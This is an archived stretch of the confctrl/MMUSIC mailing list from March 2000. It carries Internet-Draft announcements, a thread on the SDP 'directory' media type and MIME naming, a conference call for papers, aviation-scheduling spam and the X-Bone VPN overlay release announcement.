Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



I've just submitted draft-beser-mmusic-capabilities-00.txt which addresses the
seperation of Codec Capabilities from the Media Announcement. The abstract is as
follows:
---
Abstract
 The need for assured communication arisen protocols like RSVP [2] and SBM [3]
 which are linked to access technologies to guarantee the delay and drop
 probabilities of a given IP flow.

 One of the side-effects of the assurance is that when the bandwidth of the IP
 flow goes outside the contracted region then the IP flow will be disturbed and
 the communication will be effected.

 This document discusses the effects of assured communication to SDP protocol,
 identifies the weaknesses and proposes a new attribute to rectify these
 weaknesses.
 ---
 I would like to have some time during the IETF meeting to present/discuss the
 draft.

Burcak Beser
3Com Carrier Systems Group



From confctrl-owner  Fri Mar 10 14:51:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA16185
	for confctrl-outgoing; Fri, 10 Mar 2000 14:51:13 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA16180
	for <confctrl@zephyr.isi.edu>; Fri, 10 Mar 2000 14:51:12 -0800 (PST)
Received: from postman.ncube.com (postman.ncube.com [134.242.8.47])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id OAA19976
	for <confctrl@isi.edu>; Fri, 10 Mar 2000 14:51:19 -0800 (PST)
Received: from db1.ncube.com (db1 [134.242.64.1])
	by postman.ncube.com (8.9.0/8.9.0) with SMTP id OAA15389
	for <confctrl@isi.edu>; Fri, 10 Mar 2000 14:51:06 -0800 (PST)
Received: from wizzo.ncube.com by db1.ncube.com (SMI-8.6/SMI-SVR4)
	id OAA18472; Fri, 10 Mar 2000 14:56:58 -0800
Received: from localhost by wizzo.ncube.com (SMI-8.6/SMI-SVR4)
	id OAA16420; Fri, 10 Mar 2000 14:50:59 -0800
Date: Fri, 10 Mar 2000 14:50:59 -0800 (PST)
From: Sean Sheedy <seans@ncube.com>
To: confctrl@ISI.EDU
Subject: RTSP Extensions Draft Submitted - draft-sheedy-mmusic-rtsp-ext-00.txt
Message-ID: <Pine.GSO.3.96.1000310144019.16391A-100000@wizzo.ncube.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Earlier today I submitted a draft proposing extensions to RTSP.  The
draft's name is draft-sheedy-mmusic-rtsp-ext-00.txt.  The abstact is:

This document proposes enhancements to the RTSP
protocol for broadcast quality non-IP based video-
on-demand applications.  Additional transports for
non-IP delivery of media streams are proposed,
along with control extensions to reduce latency.
These proposals are based on nCUBE Corporation's
and Oracle Corporation's experience with their
existing media servers.

I look forward to your comments.

Sean Sheedy                                         seans@ncube.com
nCUBE Corporation


From confctrl-owner  Mon Mar 13 16:09:17 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA04923
	for confctrl-outgoing; Mon, 13 Mar 2000 16:09:17 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA04918
	for <confctrl@zephyr.isi.edu>; Mon, 13 Mar 2000 16:09:15 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by gamma.isi.edu (8.8.7/8.8.6) with SMTP id QAA15611
	for <confctrl@isi.edu>; Mon, 13 Mar 2000 16:09:22 -0800 (PST)
Received: from 128.9.160.111 by bells.cs.ucl.ac.uk with Internet SMTP 
          id <g.23084-0@bells.cs.ucl.ac.uk>; Tue, 14 Mar 2000 00:08:23 +0000
Received: from csperkins.demon.co.uk (localhost [127.0.0.1]) 
          by csperkins.demon.co.uk (8.9.3/8.8.7) with ESMTP id VAA08716;
          Sun, 12 Mar 2000 21:37:37 GMT
Message-Id: <200003122137.VAA08716@csperkins.demon.co.uk>
To: finlayson@live.com
Subject: Comments on draft-ietf-mmusic-sdp-directory-type-00.txt
cc: confctrl@ISI.EDU
Date: Sun, 12 Mar 2000 16:37:37 -0500
From: Colin Perkins <c.perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ross,

I have a couple of comments on the draft describing the "directory" SDP
media type.

 - When defining RTP payload formats, the combination of the m= and
   a=rtpmap lines in SDP to define a MIME type for the payload format. 
   This may imply that the use of m=directory is referencing a top level 
   MIME directory type, which is presumably not intended?

   I wonder if this link between top-level MIME types and SDP m= lines has
   other effects? For example, SDP defines "data" and "control" as possible
   values for the m= line, which may also not map well onto the MIME space.

 - I'm concerned with the handling of directories which timeout or which
   have exceeded their advertised lifetime. In particular, I am concerned
   by section 7 of the draft, which states that "parties that advertise
   within directories should also participate in advertising the directory
   itself".

   One reason for limiting the lifetime specified in the t= field of the
   directory announcement is that the announcer of that directory knows
   that the address allocated to the directory has a limited lifetime.
   Thus, allowing other participants to announce a directory is useful for
   robustness, but may cause problems if they extend the lifetime of a
   directory without renewing any "lease" on the address used for that
   directory.

   I suggest that text is added to state that sessions announced within a
   directory SHOULD NOT be announced outside the time period specified in
   the description of that directory, and SHOULD NOT be announced after a
   deletion message has been received for the directory. 

Colin

From confctrl-owner  Tue Mar 14 15:07:43 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA22374
	for confctrl-outgoing; Tue, 14 Mar 2000 15:07:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22369
	for <confctrl@zephyr.isi.edu>; Tue, 14 Mar 2000 15:07:40 -0800 (PST)
Received: from proxy2.ba.best.com (root@proxy2.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA20620
	for <confctrl@isi.edu>; Tue, 14 Mar 2000 15:07:49 -0800 (PST)
Received: from kaipara.live.com (mg-20425427-18.ricochet.net [204.254.27.18])
	by proxy2.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id PAA14956
	for <confctrl@isi.edu>; Tue, 14 Mar 2000 15:06:06 -0800 (PST)
Message-Id: <4.3.1.20000314144928.00b9dd50@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3
Date: Tue, 14 Mar 2000 14:59:42 -0800
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: Comments on draft-ietf-mmusic-sdp-directory-type-00.txt
In-Reply-To: <200003122137.VAA08716@csperkins.demon.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Colin,

Thanks for the comments.

>  - When defining RTP payload formats, the combination of the m= and
>    a=rtpmap lines in SDP to define a MIME type for the payload format.
>    This may imply that the use of m=directory is referencing a top level
>    MIME directory type, which is presumably not intended?

Good point.  I'm not a MIME expert - perhaps the format name should instead 
be "application/directory", i.e.,
         m=application/directory <port> SAP
??  Is this consistent with the use of MIME to specify other (existing) 
kinds of 'directory' - e.g., LDAP?  (I can imagine that in the future we 
might also want to allow for SDP descriptions that describe LDAP 
directories.)  Anyway, I'll make sure to raise this issue in Adelaide.

>   I suggest that text is added to state that sessions announced within a
>    directory SHOULD NOT be announced outside the time period specified in
>    the description of that directory, and SHOULD NOT be announced after a
>    deletion message has been received for the directory.

Yes, good point.  This, of course, is something that's true for any media 
type - e.g., participants should also stop sending to an audio/video 
sessions after their multicast address(es) have expired - but it's worth 
reemphasizing in the context of directory sessions.

         Ross.


From confctrl-owner  Tue Mar 14 16:56:46 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA26645
	for confctrl-outgoing; Tue, 14 Mar 2000 16:56:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA26640
	for <confctrl@zephyr.isi.edu>; Tue, 14 Mar 2000 16:56:44 -0800 (PST)
Received: from acsys.anu.edu.au (acsys.anu.edu.au [150.203.20.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA06657
	for <confctrl@ISI.EDU>; Tue, 14 Mar 2000 16:56:46 -0800 (PST)
Received: from accordion (accordion.anu.edu.au [150.203.20.58])
	by acsys.anu.edu.au (8.9.3/8.9.3) with SMTP id LAA01291;
	Wed, 15 Mar 2000 11:55:56 +1100 (EST)
Message-Id: <3.0.32.20000315115454.0114ce20@acsys.anu.edu.au>
X-Sender: markus@acsys.anu.edu.au
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 15 Mar 2000 11:54:56 +1100
To: Ross Finlayson <finlayson@live.com>, confctrl@ISI.EDU
From: Markus Buchhorn <markus@acsys.anu.edu.au>
Subject: Re: Comments on draft-ietf-mmusic-sdp-directory-type-00.txt
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>    This may imply that the use of m=directory is referencing a top level
>>    MIME directory type, which is presumably not intended?
>
>Good point.  I'm not a MIME expert - perhaps the format name should instead 
>be "application/directory", i.e.,
>         m=application/directory <port> SAP

application/sdp is registered - so should it be a subtype e.g.
application/sdp.directory ?

Or perhaps in the grander scheme, with multipart MIME messages, perhaps
multipart/sdp(.directory) should be registered, which would then look
similar to multipart emails (with each part containing its own specific
MIME typed element). Isn't a (sdp) directory really just a multipart
container ? 

See http://www.isi.edu/in-notes/iana/assignments/media-types/

>??  Is this consistent with the use of MIME to specify other (existing) 
>kinds of 'directory' - e.g., LDAP?  (I can imagine that in the future we 
>might also want to allow for SDP descriptions that describe LDAP 
>directories.)  Anyway, I'll make sure to raise this issue in Adelaide.

There's a text/directory (rfc2425) registered, which seems to be quite
extensible as well. That in turn can have multipart components?

I can't find a MIME type that just refers to LDAP - that's really a
transport (directory access) rather than a container.

Just my $AU0.02

Cheers,
	Markus

Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2 62798810
email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2 62798602
Australian National University, Canberra 0200, Australia |Mobile: 0417 281429  

From confctrl-owner  Tue Mar 14 17:09:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA27062
	for confctrl-outgoing; Tue, 14 Mar 2000 17:09:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA27057
	for <confctrl@zephyr.isi.edu>; Tue, 14 Mar 2000 17:09:19 -0800 (PST)
Received: from aardvark.aciri.org (aardvark.aciri.org [192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA08312
	for <confctrl@ISI.EDU>; Tue, 14 Mar 2000 17:09:27 -0800 (PST)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.3/8.9.2) with ESMTP id RAA34469;
	Tue, 14 Mar 2000 17:09:16 -0800 (PST)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Ross Finlayson <finlayson@live.com>
cc: confctrl@ISI.EDU
Subject: Re: Comments on draft-ietf-mmusic-sdp-directory-type-00.txt 
In-reply-to: Your message of "Tue, 14 Mar 2000 14:59:42 PST."
             <4.3.1.20000314144928.00b9dd50@shell7.ba.best.com> 
Date: Tue, 14 Mar 2000 17:09:16 -0800
Message-ID: <34467.953082556@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>  - When defining RTP payload formats, the combination of the m= and
>>    a=rtpmap lines in SDP to define a MIME type for the payload format.
>>    This may imply that the use of m=directory is referencing a top level
>>    MIME directory type, which is presumably not intended?
>
>Good point.  I'm not a MIME expert - perhaps the format name should instead 
>be "application/directory", i.e.,
>         m=application/directory <port> SAP
>??  Is this consistent with the use of MIME to specify other (existing) 
>kinds of 'directory' - e.g., LDAP?  (I can imagine that in the future we 
>might also want to allow for SDP descriptions that describe LDAP 
>directories.)  Anyway, I'll make sure to raise this issue in Adelaide.

The SDP spec is unfortunately not internally consistent:

Page 17:
   o The first sub-field is the media type.  Currently defined media are
     "audio", "video", "application", "data" and "control", though this
     list may be extended as new communication modalities emerge (e.g.,
     telepresense).  The difference between "application" and "data" is
     that the former is a media flow such as whiteboard information, and
     the latter is bulk-data transfer such as multicasting of program
     executables which will not typically be displayed to the user.
     "control" is used to specify an additional conference control
     channel for the session.

Page 36:
   "media" (eg, audio, video, application, data).

       Packetized media types, such as those used by RTP, share the
       namespace used by media types registry [RFC 2048] (i.e. "MIME
       types").  The list of valid media names is the set of top-level
       MIME content types.  The set of media is intended to be small and
       not to be extended except under rare circumstances.  (The MIME
       subtype corresponds to the "fmt" parameter below).

Thus the spec is probably incorrect in suggesting that "data" and
"control" are valid media types.  Anyone know if either of these are
in use?  They should probably be removed to go to draft standard.

The current choice of MIME types is:

  application,audio,image,message,model,multipart,text,video

None of these seem immediately appropriate for a session directory,
but the most obvious one is "application" with the subtype being
"sap".

If you really think "directory" is needed, you might want to raise
this issue by sending mail to the "ietf-types@iana.org" mailing list
to see if there's any agreement there.  Defining new top-level MIME
types can only be done via standards-track RFC.

Cheers,
	Mark





From confctrl-owner  Tue Mar 14 18:18:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA29531
	for confctrl-outgoing; Tue, 14 Mar 2000 18:18:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA29522
	for <confctrl@zephyr.isi.edu>; Tue, 14 Mar 2000 18:18:21 -0800 (PST)
Received: from leonis.nus.edu.sg (leonis.nus.edu.sg [137.132.1.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA17088;
	Tue, 14 Mar 2000 18:18:28 -0800 (PST)
Received: from engtanlk.nus.edu.sg (eng203162.pc.nus.edu.sg [137.132.203.162])
	by leonis.nus.edu.sg (8.9.3/8.9.3) with SMTP id JAA27452;
	Wed, 15 Mar 2000 09:43:48 +0800 (SST)
Message-ID: <00ff01bf8e20$338adf20$a2cb8489@engtanlk.nus.edu.sg>
To: <Undisclosed.Recipients@leonis.nus.edu.sg>
From: "ICON'2000 Secretariat" <icon@comp.nus.edu.sg>
Subject: LAST day to call for papers. Have you submitted your paper?
Date: Wed, 15 Mar 2000 09:43:48 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00FC_01BF8E63.41AE1F20"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00FC_01BF8E63.41AE1F20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear All

A Gentle Reminder

* Kindly ignore this email if you have received this before.
Thank you for your kind attention.

The 8th IEEE International Conference On Networks will be held from

September 5- 8, 2000 in Singapore. The aim of the conference is to =
provide

an international forum for experts to promote, share and discuss various

issues and developments in the broad field of computer and communication

networks. We thus seek and solicit your contributions

in the form of original/unpublished papers, tutorials, and topics for

special sessions/panel discussions. More information on the scope of the

conference and the guidelines for the submission of contributions can

be obtained at this web site :http://www.comp.nus.edu.sg/~icon/



We look forward to your participation. Thank you.

Icon 2000 organizing Committee


------=_NextPart_000_00FC_01BF8E63.41AE1F20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Dear All</DIV>
<DIV>&nbsp;</DIV>
<DIV>A Gentle Reminder<BR><BR>* Kindly ignore this email if you have =
received=20
this before.<BR>Thank you for your kind attention.</DIV>
<DIV><BR>The 8th IEEE International Conference On Networks will be held=20
from<BR><BR>September 5- 8, 2000 in Singapore. The aim of the conference =
is to=20
provide<BR><BR>an international forum for experts to promote, share and =
discuss=20
various<BR><BR>issues and developments in the broad field of computer =
and=20
communication<BR><BR>networks. We thus seek and solicit your=20
contributions<BR><BR>in the form of original/unpublished papers, =
tutorials, and=20
topics for<BR><BR>special sessions/panel discussions. More information =
on the=20
scope of the<BR><BR>conference and the guidelines for the submission of=20
contributions can<BR><BR>be obtained at this web site :<A=20
href=3D"http://www.comp.nus.edu.sg/~icon/">http://www.comp.nus.edu.sg/~ic=
on/</A><BR><BR><BR><BR>We=20
look forward to your participation. Thank you.<BR><BR>Icon 2000 =
organizing=20
Committee<BR></DIV></BODY></HTML>

------=_NextPart_000_00FC_01BF8E63.41AE1F20--


From confctrl-owner  Thu Mar 16 16:50:06 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA10088
	for confctrl-outgoing; Thu, 16 Mar 2000 16:50:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA10075
	for <confctrl@zephyr.isi.edu>; Thu, 16 Mar 2000 16:50:04 -0800 (PST)
Received: from www.charteralliance.com ([206.114.168.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17629
	for <confctrl@isi.edu>; Thu, 16 Mar 2000 16:50:13 -0800 (PST)
From: info@CharterAlliance.com
Received: from avation - 206.114.168.98 by www.charteralliance.com  with Microsoft SMTPSVC(5.5.1774.114.11);
	 Thu, 16 Mar 2000 14:12:19 +0000
To: info@CharterAlliance.com
Subject: FREE Aviation Scheduling!
MIME-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Message-ID: <049671912141030CHARTERALLIANCE@www.charteralliance.com>
Date: 16 Mar 2000 14:12:19 +0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


SIX MONTHS OF FREE BANNER ADVERTISING
ON THE CHARTERALLIANCE.COM INTERNET SITE!

Why are we doing this? The CharterAlliance Internet based
aircraft scheduling & dispatching solution is so advanced, so
easy-to-use, that we will do almost anything to put it into your
hands. Immediately, you will see how this powerful,
easy-to-use, tool can optimize your scheduling & dispatching.

Go to: http://charteralliance.com/register.asp to
register right now.

*No large purchase of hardware or software!

*Secure Internet access for your entire team!

* Easy multi-user and multi-tasking ability!

*100% FREE tech support & system upgrades!

Have you ever wished for an easy-to-use, high-end,
technology solution for your scheduling? Are you tired of
expensive network systems and hard-to-use software
packages that quickly become obsolete? From now on,
aviation "software packages" are a thing of the past. In fact,
with our solution there is nothing to buy; all that's needed is
a personal computer and an Internet connection!

*Bring your scheduling system up to date!

*Increase profit for your organization!

*Publish available flights & deadheads onto the Internet!

*Decrease dispatchers time and increase aircraft utilization!

Go to: http://charteralliance.com/register.asp to register.
There are a limited number of advertising spots and the
quicker you respond the quicker your FREE ad can start.
Remember, even if you don't use our remarkable service
you still get the six months of advertising FREE!
Visit: http://www.CharterAlliance.com


From confctrl-owner  Thu Mar 16 21:33:05 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA19436
	for confctrl-outgoing; Thu, 16 Mar 2000 21:33:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA19431
	for <confctrl@zephyr.isi.edu>; Thu, 16 Mar 2000 21:33:04 -0800 (PST)
Received: from www.charteralliance.com ([206.114.168.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA14274
	for <confctrl@isi.edu>; Thu, 16 Mar 2000 21:33:13 -0800 (PST)
From: info@CharterAlliance.com
Received: from avation - 206.114.168.98 by www.charteralliance.com  with Microsoft SMTPSVC(5.5.1774.114.11);
	 Thu, 16 Mar 2000 13:23:38 +0000
To: info@CharterAlliance.com
Subject: FREE Aviation Scheduling!
MIME-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Message-ID: <0292d3823131030CHARTERALLIANCE@www.charteralliance.com>
Date: 16 Mar 2000 13:23:38 +0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



FREE SIX-MONTH MEMBERSHIP OF 
INTERNET BASED PRIMARY SCHEDULING 
& DISPATCHING SOLUTION GIVES YOU 
FREEDOM FROM THE LIMITATIONS OF 
YOUR EXISTING SCHEDULE! 

Welcome to the future of aviation scheduling & dispatching! 
No longer will you have to install a cumbersome, and costly, 
network system to take advantage of advances in scheduling 
technology.  From now on, aviation software packages
are a thing of the past.  In fact, with our solution, there is 
nothing to buy!  All that’s needed is a personal computer 
with an Internet connection. Everything's FREE! 

* No Large Purchase of Hardware or Software! 
* Free Your System From the Technology Trap! 
* Works For: 135, 91, Cargo, Flight Schools, etc., etc.! 
* Decrease Dispatcher's Hours & Increase Aircraft Utilization! 
* Easy Multi-User/Multi-Tasking Ability From Anywhere! 
* 135! Post Deadheads Onto the Internet Automatically! 

Our service works better than many software packages 
costing thousands of dollars! Being Internet based, it also 
boasts features that no mere client-server system can match. 
All you have to do is go to: 
http://charteralliance.com/register.asp 
to register. Immediately you can begin benefiting from this 
FREE solution! 

CharterAlliance.com has a global vision for how information 
will be shared among the Charter Aviation Industry in the 
Twenty-First Century. No longer will technological advances 
be only available to the operators who can afford them. Now 
is your chance to climb aboard the cusp of something that is 
sweeping the industry. Don’t delay! This is the key. Use it! 
There are no strings attached! It's FREE! Use it! 


Kiloh R. Smith 
Director of Marketing 
CharterAlliance.com 
kiloh@CharterAlliance.com
(607) 257-7631


*******************************************
To be removed from this list, reply to this email with
"remove" in the subject line.  
We will be announcing other FREE aviation services 
in upcoming emails.   
Remain on this list for these exciting notices.

From confctrl-owner  Fri Mar 17 01:41:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA27611
	for confctrl-outgoing; Fri, 17 Mar 2000 01:41:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA27606
	for <confctrl@zephyr.isi.edu>; Fri, 17 Mar 2000 01:41:43 -0800 (PST)
Received: from www.charteralliance.com ([206.114.168.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA03147
	for <confctrl@isi.edu>; Fri, 17 Mar 2000 01:41:52 -0800 (PST)
From: info@CharterAlliance.com
Received: from avation - 206.114.168.98 by www.charteralliance.com  with Microsoft SMTPSVC(5.5.1774.114.11);
	 Thu, 16 Mar 2000 13:02:05 +0000
To: info@CharterAlliance.com
Subject: Post & Search Empty Legs FREE!
MIME-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Message-ID: <009b50502131030CHARTERALLIANCE@www.charteralliance.com>
Date: 16 Mar 2000 13:02:05 +0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


CHARTER OPERATORS! POST YOUR AVAILABLE FLIGHTS 
& DEAD LEGS ONTO OUR SITE ABSOLUTELY FREE! 
REGISTER AT:   http://www.charteralliance.com/register.asp 

CHARTER BUYERS! HAVE EMPTY LEGS EMAILED TO YOU 
EVERY DAY ABSOLUTELY FREE! REGISTER ONLINE OR 
REPLY TO THIS EMAIL. 

For the very first time CharterAlliance.com brings the industry 
operators  & buyers together by offering a totally FREE service 
that optimizes the selling and  purchasing of those available flights 
& empty legs.  Not only  are the dead legs posted onto our high 
traffic Internet site but they also get emailed out to a vast network 
of brokers & industry buyers twice daily! CharterAlliance.com 
is the only posting site that actually places this vital information 
into buyer's hands and we do this for YOU absolutely FREE! 
International operators & buyers welcome. Start increasing your 
bottom line right now! Make sure that you become one of our 
members today. 

CHARTER OPERATORS: 

* Create a powerful new revenue stream instantly! 
* Increase aircraft utilization! 
* Postings for: Charter, Cargo, & Air Ambulance! 
* Separate postings for available flights & empty legs! 
* Marketed to a vast network of brokers and industry buyers 
* Put the power of the Internet, with our marketing muscle, behind you! 

Just go to: http://CharterAlliance.com/register.asp, register, and 
start posting!  It's FREE! 

**** ADDITIONAL BONUS! Register with our site and receive three full 
months of advertising on CharterAlliance.com absolutely FREE! 

CHARTER BUYERS: 

* Hundreds of flights! 
* So powerful, yet easy to use! 
* Advanced searches by categories you set up! 
* Daily digest of empty legs emailed to you twice daily! 

Do you want our daily digest of available deadheads emailed to you 
every day? Just respond to this message! Leave the Subject line intact. 
If you want this valuable information to go to any other addresses 
just type them  into the top of the Body of this message. You can 
also accomplish this by visiting our site: 
http://CharterAlliance.com/register.asp 

CharterAlliance.com has a global vision for how information will be 
shared among the Charter Aviation Industry in the Twenty First Century. 
This is only the beginning. Visit us at http://CharterAlliance.com to 
find out more about our exciting services. 

******************************************* 
To be removed from this email list, reply to this email with 
"remove" in the Subject line.  Thanks.


From confctrl-owner  Fri Mar 17 14:17:23 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA24738
	for confctrl-outgoing; Fri, 17 Mar 2000 14:17:23 -0800 (PST)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA24723
	for <confctrl@zephyr.isi.edu>; Fri, 17 Mar 2000 14:17:15 -0800 (PST)
Received: (from touch@localhost)
	by boreas.isi.edu (8.8.7/8.8.6) id OAA06147
	for confctrl@isi.edu; Fri, 17 Mar 2000 14:17:23 -0800 (PST)
Date: Fri, 17 Mar 2000 14:17:23 -0800 (PST)
From: Joe Touch <touch@ISI.EDU>
Message-Id: <200003172217.OAA06147@boreas.isi.edu>
To: confctrl@ISI.EDU
Subject: Announcing X-Bone VPN/overlay software release
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To: confctrl@isi.edu

From confctrl-owner  Fri Mar 17 14:20:08 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA24972
	for confctrl-outgoing; Fri, 17 Mar 2000 14:20:08 -0800 (PST)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA24901
	for <confctrl@zephyr.isi.edu>; Fri, 17 Mar 2000 14:20:00 -0800 (PST)
Received: (from touch@localhost)
	by boreas.isi.edu (8.8.7/8.8.6) id OAA07216
	for confctrl@isi.edu; Fri, 17 Mar 2000 14:20:09 -0800 (PST)
Date: Fri, 17 Mar 2000 14:20:09 -0800 (PST)
From: Joe Touch <touch@ISI.EDU>
Message-Id: <200003172220.OAA07216@boreas.isi.edu>
To: confctrl@ISI.EDU
Subject: Announcing X-Bone VPN/overlay software release
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

   xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    
   x                                                          x    
   x           XX    XX      X-BONE Overlay System            x    
   x             X  X                                         x    
   x              XX                Software Release          x    
   x             X  X                                         x    
   x           XX    XX             March 2000                x    
   x                                                          x    
   xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    
                                                                   
                                                                   
The X-Bone system for automated deployment of VPN / overlay networks
is now publicly available. This is the first major public release, v1.2.
                                                                   
X-Bone dynamically deploys and manages Internet overlays to reduce
configuration effort and increase network component sharing. X-Bone
discovers, configures, and monitors network resources to create
overlays over existing IP networks.
                                                                   
The X-Bone is implemented in Perl, and open source is provided.
                                                                   
The X-Bone can be used for:                                        
                                                                   
      - deploying VPNs                                             
                                                                   
      - sharing lab or wide-area networks                          
         for multiple, concurrent projects                         
         for testing protocols and apps on new topologies          
                                                                   
X-Bone uses two-layer IP in IP tunneled overlays and supports existing
applications and unmodified routing, multicast, and DNS services.
X-Bone also support IPSec within overlays. Applications can use the
X-Bone without modification or recompilation.
                                                                   
The X-Bone is available for the following operating systems:       
                                                                   
      - FreeBSD                                                    
              CAIRN 2.5, 3.*, 3.* + KAME IPsec patches             
                                                                   
      - Linux RedHat                                               
              6.0, 6.0 + NIST Cerberus IPsec patches, 6.1          
                                                                   
The FreeBSD port and Linux RPM have been submitted to the FreeBSD
ports and RedHat Linux RPMs sites; further information and details and
the port and RPM files are currently available at:
                                                                   
      http://www.isi.edu/xbone/                                    
                                                                   
- Joe Touch                                                        
  Project Leader, X-Bone group, USC/ISI                            
  touch@isi.edu                                                    
  http://www.isi.edu/touch                                         
  +1 (310) 448-9151                                                
                                                                   
-------------------------------------------------------------------
 Effort sponsored by the Defense Advanced Research Projects Agency 
 (DARPA)and Air Force Research Laboratory, Air Force Materiel      
 Command, USAF, under agreement number F30602-98-1-0200.           
                                                                   
 Copyright (c) 1998-2000 by the University of Southern California. 
 All rights reserved.                                              
-------------------------------------------------------------------

From confctrl-owner  Sat Mar 18 05:57:07 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA25092
